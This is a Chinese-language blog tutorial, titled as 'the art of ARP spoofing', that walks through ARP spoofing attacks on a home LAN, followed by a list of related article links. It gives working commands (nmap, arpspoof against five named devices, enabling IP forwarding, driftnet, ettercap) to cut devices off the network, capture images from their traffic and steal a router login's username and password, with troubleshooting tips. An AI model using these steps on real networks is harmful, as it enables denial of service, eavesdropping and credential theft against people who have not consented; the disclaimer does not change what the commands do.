0x00 免责声明

本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

0x01 前言

ARP 欺骗是针对以太网地址解析协议的一种攻击技术,通过欺骗局域网内访问者 PC 的网关 MAC 地址,使访问者 PC 错以为攻击者更改后的 MAC 地址是网关的 MAC ,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。

0x02 ARP欺骗原理

ARP 协议是地址解析协议, ARP 协议的基本功能是通过目标 IP 来查询目标计算机的 MAC 地址,从而实现各个主机间流畅稳定的通信。因为早期的网络环境主机间是互相信任的。因此有人发现了 ARP 协议的设计缺陷利用 ARP 欺骗进行非法攻击。

目标主机接收到应答包之后并不会去验证是否发送过对应的请求包,却直接使用了通过 ARP 欺骗伪造的信息替换了本地 ARP 缓存表中 IP 地址与 MAC 地址的对应关系。

ARP欺骗过程图

如果一个计算机需要和另一个计算机相互通信,那么需要相互知道互相的 MAC 地址,需要告诉对方这个数据帧的来历。然而目标 MAC 地址是通过 ARP 地址解析协议获得。 ARP 欺骗就是通过伪造 IP 地址和 MAC 地址实现的,在计算机网络中发出大量的 ARP 请求包来阻塞网络通信,出现多个 IP 地址共用一个 MAC 地址的情况。

0x03 环境说明

kali-linux虚拟机(192.168.1.9)
windows 11笔记本(192.168.1.2)
ipad mini6平板(192.168.1.8)
redmi k40手机(192.168.1.4)
vivo Y30手机(192.168.1.5)
huawei 8手机(192.168.1.10)

0x04 准备工作

文中使用 kali-linux 系统在虚拟机桥接网络的环境下进行示范。为什么不使用 NAT 模式:

NAT 模式下,虚拟机仅仅可以同路由器下网段中的一台真实机通讯,而这台真实机就是安装虚拟机的这台电脑,之所以可以通讯是因为这台电脑本身充当了虚拟机的路由器,采用 NAT 模式时,虚拟机和实体机交互并不是直接进行的。

查看Kali-linux虚拟机的IP地址

ip addr

查看Kali-linux虚拟机的网关地址

route -n

0x05 断网攻击

使用Nmap扫描192.168.1.1/24网段上有哪些主机是存活的

nmap -sP 192.168.1.1/24

安装dsniff工具集

apt install dsniff

使用arpspoof工具分别对目标IP实施arp欺骗

arpspoof -i eth0 -t 192.168.1.4 192.168.1.1    #-- -t 目标IP 目标网关 -i 网卡名 --
arpspoof -i eth0 -t 192.168.1.2 192.168.1.1
arpspoof -i eth0 -t 192.168.1.5 192.168.1.1
arpspoof -i eth0 -t 192.168.1.8 192.168.1.1
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1

关于可能会遇到的Error:

ErrorⅠ:arpspoof: libnet_check_iface() ioctl: No such device

翻译:嗅探:libnet_check_iface()操作接口:没有这样的设备

问题原因:网卡名称错误

解决方法:使用 ip addr 或 ifconfig 重新检查网卡名称,一般情况下网卡名称为 eth0 。

ErrorⅡ:arpspoof: couldn’t arp for host 192.168.1.X

翻译:嗅探:无法对主机 192.168.1.X 进行 arp 欺骗

问题原因:1.IP无法互通

                  2.IP不在同一网段

                  3.IP地址错误

解决方法:使用 ping 命令检查目标IP是否能够互通,使用 ip addr 或 ifconfig 重新检查网卡名称,重新使用 nmap 扫描端口存活主机状态。

目标IP访问百度查看状态,发现均无法访问百度页面

 windows 11笔记本

 ipad mini6平板

 redmi k40手机

vivo Y30手机

huawei 8手机

0x06 持续监听-图片截取

ARP 攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,那么攻击者可以通过开启端口转发,实现对目标 IP 的持续监听。

开启端口转发

echo 1 > /proc/sys/net/ipv4/ip_forward    #--开启端口转发--
echo 0 > /proc/sys/net/ipv4/ip_forward    #--关闭端口转发--

继续使用arpspoof工具实施arp欺骗,这里需要互换目标IP与目标网关

arpspoof -i ech0 -t 192.168.1.1 192.168.1.4

下载driftnet工具,获取数据流中的图片

apt install driftnet

使用driftnet获取目标IP数据流中的图片并保存到源目录

driftnet -i eth0 -a -d /usr/local/src

使用目标IP设备访问360漏洞云,发现源目录中自动下载了360漏洞云的logo

redmi k40手机

kali-linux虚拟机

分别对平板以及笔记本进行持续监听,这里平板模拟受害者使用微信,笔记本则播放QQ音乐

演示环境: ipad mini6平板

 ipad mini6平板

kali-linux虚拟机

演示环境: windows11 笔记本

windows11 笔记本

kali-linux虚拟机

0x07 持续监听-密码获取

 Ⅰ继续使用arpspoof工具实施arp欺骗

arpspoof -i eth0 -t 192.168.1.2 192.168.1.1

使用ettercap工具提前对目标IP的数据进行监听

ettercap -Tq -i eth0

在windows11笔记本模拟登录电信智能网关

查看ettercap生成的结果,发现用户名和密码都被窃取

0x09 总结

由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

ARP欺骗的艺术 | 断网与监听相关推荐

  1. H3C ER3100路由器由于FAST路由器的ARP欺骗导致的断网的处理方法

    http://wenku.baidu.com/view/12dcf389d0d233d4b14e694c.html

  2. 轻松解决ARP病毒引发的断网问题

    情况是这样的:家里有一台式机和一笔记本,两台电脑都通过路由器进行共享上网,开始还挺正常的,可后来总出现一些异常的状况,比如笔记本先开机时,台式机在进行开机就会引发局域网断开的情况. 究竟什么原因导致的 ...

  3. arp欺骗攻击——获取内网中用户浏览的图片信息

    [前言] 上一个文章用arp实现断网实际上是配置错误,实现了断网现象. Arp欺骗:目标IP流量经过我的网卡,从网关出去,目标机器还能上网,并没有发现自己流量被劫持了. Arp断网:目标IP流量经过我 ...

  4. ARP协议及局域网断网攻击(scapy)

    ARP协议攻击 地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议.主机发送信息时将包含目标IP地址的ARP请求广播到网 ...

  5. 网络闪断导致oracle监听终止,一个由网络闪断导致的CICS交易网关异常的案例分享...

    本文描述了一则因网络问题导致的cics交易中间件异常的处理方法与思路,如有问题欢迎随时交流~ 一.问题描述: 10月25日,柜面网关 系统 报ctg报错: 10/25/15 03:16:02.775 ...

  6. kaliarp欺骗注入_利用 Kali Linux 进行 Arp 欺骗,实现局域网断网攻击

    局域网断网攻击有什么用呢,比如防熊孩子,干掉某些抢网速的人,或者,干掉大晚上吵死你的舍友. 好了,下面开始进入正题. 免责声明:请遵守相关法律法规,本人不对本教程造成的后果负责.如果你按照本教程实践中 ...

  7. 局域网断网攻击(arp攻击)

    什么是arp断网攻击 简单来说就是就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的 ...

  8. 利用ARP攻击来断网

    在进行ARP攻击时,必须遵守法律规定,只能在合法授权的情况下进行实验和演练. 预备知识 ARP攻击是指攻击者利用ARP协议的缺陷,欺骗网络中的主机,从而达到窃取信息.劫持网络流量等目的的攻击行为. A ...

  9. 关于ARP欺骗(百度百科)

    ARP欺骗 什么是ARP ARP(Address Resolution Protocol)是地址解析协议,是一种将IP地址转化成物理地址的协议.从IP地址到物理地址的映射有两种方式:表格方式和非表格方 ...

  10. [转]ARP欺骗的相关资料

    最近工作需要了解一些网络安全方面的知识,故转载做一下标记. ARP简介 ARP(Address Resolution Protocol)是地址解析协议,是一种将IP地址转化成物理地址的协议.从IP地址 ...

最新文章

  1. bootstrap-按钮(按钮工具栏)
  2. python运行程序-用Python执行程序的4种方式,编程必备
  3. java 网站计数器_Java Bean实现网页来访计数器
  4. MVC把表格导出到Excel
  5. Spring 基于 Java 的配置 - 如何不用Beans.xml照样描述bean之间的依赖关系
  6. [轨道力学] 轨道力学期末复习
  7. 分布式事务 - 如何解决分布式事务问题?
  8. 计算机程序员能做多久,这个行业有年龄限制吗?
  9. C/C++ C# unity Python 帮助文档 书籍 学习资料
  10. Mapreduce从HBASE抽取数据,生成搜索下拉服务数据,hadoop jar 调用异常问题解决
  11. Shell脚本 小程序演示
  12. 《Redis视频教程》(p6)
  13. 学习C语言的必备书籍-从入门到精通
  14. 构建 Java 镜像的 10 个最佳实践
  15. java基础—java由来
  16. Centos7 ,使用grep,cut 、awk 提取IP地址
  17. RHCE认证考试教材
  18. java xlsx转html
  19. js根据class属性获取所有标签
  20. 计算机管理关机在哪,电脑定时开关机在哪里设置

热门文章

  1. 进入linux jed文本编辑怎么退出,Linux文本编辑器Jed
  2. 查看 mysql端口 和进程_mysql 端口号(怎么查看mysql的端口号)
  3. cs231n assignment3
  4. 基于matlab的锁相环频率合成器,基于simulink的电荷泵锁相环频率合成器建模与仿真.pdf...
  5. W ndows7安装Hp1020,hp1020打印机驱动
  6. ipq4019 识别板卡型号的过程
  7. 黑马程序员__java基础视频day7
  8. idea集成SVN后查看当前文件修改的历史版本
  9. navicat中看sql执行计划
  10. ppt学习02——字体